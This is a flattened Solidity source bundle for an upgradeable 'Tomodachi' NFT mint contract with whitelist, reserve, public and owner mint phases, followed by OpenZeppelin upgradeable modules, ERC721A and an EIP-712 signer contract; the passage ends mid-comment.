//SPDX-License-Identifier: None pragma solidity ^0.8.7; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "./ERC721AUpgradeable.sol"; import "./TomodachiSigner.sol"; contract TTMint is ERC721AUpgradeable, TomodachiSigner, ReentrancyGuardUpgradeable, OwnableUpgradeable, PausableUpgradeable { string public baseTokenURI; uint8 public maxWhiteListMintForEach; uint8 public maxReserveMintForEach; uint8 public maxPublicMintForEach; uint256 public MAX_SUPPLY; uint256 public OwnerCap; uint256 public whiteListCap; uint256 public whiteListPriceForEach; uint256 public reserveListPriceForEach; uint256 public publicMintPriceForEach; uint256 public whiteListStartTime; address public designatedSigner; address payable public treasure; uint256 public whiteListMinted; uint256 public reserveListMinted; uint256 public publicMinted; uint256 public ownerMinted; uint256 public whiteListEndTime; uint256 public reserveListEndTime; mapping(address => uint256) public whiteListSpotBought; mapping(address => uint256) public publicMintSpotBought; mapping(address => uint256) public reserveListSpotBought; modifier onlyEOA() { require(msg.sender == tx.origin, "Only wallet can call function"); _; } function initialize( string memory name_, string memory symbol_, uint256 epochTime_, address payable treasure_, address designatedSigner_ ) public initializer { require(epochTime_ >= block.timestamp, "Invalid start time"); require(treasure_ != address(0), "Invalid treasure address"); require( designatedSigner_ != address(0), "Invalid designated signer address" ); __ERC721A_init(name_, symbol_); __Ownable_init(); __ReentrancyGuard_init(); __TomodachiSigner_init(); maxWhiteListMintForEach = 2; maxReserveMintForEach = 1; maxPublicMintForEach = 2; MAX_SUPPLY = 7777; OwnerCap = 100; whiteListCap = 6000; whiteListEndTime = 12 hours; reserveListEndTime = 6 hours; whiteListStartTime = epochTime_; reserveListEndTime = epochTime_ + whiteListEndTime + reserveListEndTime; whiteListEndTime += epochTime_; treasure = treasure_; designatedSigner = designatedSigner_; whiteListPriceForEach = 0.085 ether; reserveListPriceForEach = 0.085 ether; publicMintPriceForEach = 0.12 ether; } function ownerMint(uint256 _amount) external onlyOwner { require(_amount + ownerMinted <= OwnerCap, "Owner Mint Limit Exceeded"); require( _amount + totalSupply() <= MAX_SUPPLY, "Max Supply Limit Exceeded" ); ownerMinted += _amount; _mint(_msgSender(), _amount); } function whiteListMint(WhiteList memory _whitelist, uint256 _amount) external payable nonReentrant { require( whiteListStartTime <= block.timestamp && block.timestamp < whiteListEndTime, "WhiteList Mint Period Over" ); require(getSigner(_whitelist) == designatedSigner, "Invalid Signature"); require( _whitelist.userAddress == _msgSender(), "Not A Whitelisted Address" ); require( whiteListMinted + _amount <= whiteListCap, "WhiteList Spot Ended" ); require( _amount + whiteListSpotBought[_whitelist.userAddress] <= maxWhiteListMintForEach, "Max WhiteList Spot Bought" ); require(!_whitelist.isReserveList, "Reserve List Spot Bought"); require( msg.value == _amount * whiteListPriceForEach, "Pay Exact Amount" ); whiteListMinted += _amount; whiteListSpotBought[_whitelist.userAddress] += _amount; _mint(_whitelist.userAddress, _amount); } function reserveListMint(WhiteList memory _whitelist, uint256 _amount) external payable nonReentrant { require( whiteListEndTime <= block.timestamp && block.timestamp < reserveListEndTime, "Not ReserveList Mint Period" ); require( whiteListMinted < whiteListCap, "Reserve items are all sold in whitelist sale" ); require(getSigner(_whitelist) == designatedSigner, "Invalid Signature"); require( _whitelist.userAddress == _msgSender(), "Not A Whitelisted Address" ); require( reserveListMinted + _amount <= whiteListCap - whiteListMinted, "ReserveList Spot Ended" ); require( _amount + reserveListSpotBought[_msgSender()] <= maxReserveMintForEach, "Max Reserve Mint Spot Bought" ); require( totalSupply() + _amount <= MAX_SUPPLY, "Max Supply Limit Exceed" ); require(_whitelist.isReserveList, "Is Whitelist"); require(msg.value == reserveListPriceForEach, "Pay Exact Amount"); reserveListSpotBought[_whitelist.userAddress] += _amount; reserveListMinted += _amount; _mint(_whitelist.userAddress, _amount); } function publicMint(uint256 _amount) external payable onlyEOA nonReentrant { require( block.timestamp >= reserveListEndTime || (whiteListEndTime <= block.timestamp && whiteListMinted == whiteListCap), "ReserveList Mint Period Not over" ); require( _amount + publicMintSpotBought[_msgSender()] <= maxPublicMintForEach, "Max Public Mint Spot Bought" ); require(totalSupply() + _amount <= MAX_SUPPLY, "Public Mint all sold"); require( msg.value == publicMintPriceForEach * _amount, "Pay Exact Amount" ); publicMintSpotBought[_msgSender()] += _amount; publicMinted += _amount; _mint(_msgSender(), _amount); } ///@dev withdraw funds from contract to treasure function withdraw() external onlyOwner { require(treasure != address(0), "Treasure address not set"); treasure.transfer(address(this).balance); } ///@dev Setters function setWhiteListStartTime(uint256 _epochTime) external onlyOwner { require(_epochTime >= block.timestamp, "StartTime is already over"); whiteListStartTime = _epochTime; } function setBaseURI(string memory baseURI_) public onlyOwner { require(bytes(baseURI_).length > 0, "Invalid base URI"); baseTokenURI = baseURI_; } function setTreasure(address _treasure) external onlyOwner { require(_treasure != address(0), "Invalid address for signer"); treasure = payable(_treasure); } function setDesignatedSigner(address _signer) external onlyOwner { require(_signer != address(0), "Invalid address for signer"); designatedSigner = _signer; } ///////////////// /// Set Price /// ///////////////// function setPublicMintPriceForEach(uint256 _price) external onlyOwner { publicMintPriceForEach = _price; } function setWhitelistPriceForEach(uint256 _price) external onlyOwner { whiteListPriceForEach = _price; } function setReserveListPriceForEach(uint256 _price) external onlyOwner { reserveListPriceForEach = _price; } /////////////// /// Set Max /// /////////////// function setMaxWhiteListMintForEach(uint8 _amount) external onlyOwner { maxWhiteListMintForEach = _amount; } function setMaxReserveListMintForEach(uint8 _amount) external onlyOwner { maxReserveMintForEach = _amount; } function setMaxPublicMintForEach(uint8 _amount) external onlyOwner { maxPublicMintForEach = _amount; } function setMAX_SUPPLY(uint256 amount) external onlyOwner { MAX_SUPPLY = amount; } function setOwnerCap(uint256 amount) external onlyOwner { OwnerCap = amount; } function setWhiteListCap(uint256 amount) external onlyOwner { whiteListCap = amount; } ///@dev Toggle contract pause function togglePause() external onlyOwner { if (paused()) { _unpause(); } else { _pause(); } } ///@dev set whitelist endtime function setWhiteListEndTime(uint256 _time) external onlyOwner { require(block.timestamp < _time, "Timestamp is already over"); whiteListEndTime = _time; } ///@dev set reservelist endtime function setReserveListEndTime(uint256 _time) external onlyOwner { require(block.timestamp < _time, "Timestamp is already over"); reserveListEndTime = _time; } ///@dev Override Function function _startTokenId() internal view virtual override returns (uint256) { return 1; } function _baseURI() internal view virtual override returns (string memory) { return baseTokenURI; } function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual override whenNotPaused { super._beforeTokenTransfers(from, to, startTokenId, quantity); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.4; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721AUpgradeable is ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; function __ERC721A_init(string memory name_, string memory symbol_) internal initializer { __Context_init(); __ERC165_init(); _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721AUpgradeable.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if ( to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data) ) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if ( !_checkContractOnERC721Received( address(0), to, updatedIndex++, _data ) ) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721ReceiverUpgradeable(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.7; import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol"; contract TomodachiSigner is EIP712Upgradeable { string private constant SIGNING_DOMAIN = "Tomodachi"; string private constant SIGNATURE_VERSION = "1"; struct WhiteList { address userAddress; bool isReserveList; bytes signature; } function __TomodachiSigner_init() internal initializer { __EIP712_init(SIGNING_DOMAIN, SIGNATURE_VERSION); } function getSigner(WhiteList memory tomo) public view returns (address) { return _verify(tomo); } /// @notice Returns a hash of the given rarity, prepared using EIP712 typed data hashing rules. function _hash(WhiteList memory tomo) internal view returns (bytes32) { return _hashTypedDataV4( keccak256( abi.encode( keccak256( "WhiteList(address userAddress,bool isReserveList)" ), tomo.userAddress, tomo.isReserveList ) ) ); } function _verify(WhiteList memory tomo) internal view returns (address) { bytes32 digest = _hash(tomo); return ECDSAUpgradeable.recover(digest, tomo.signature); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that 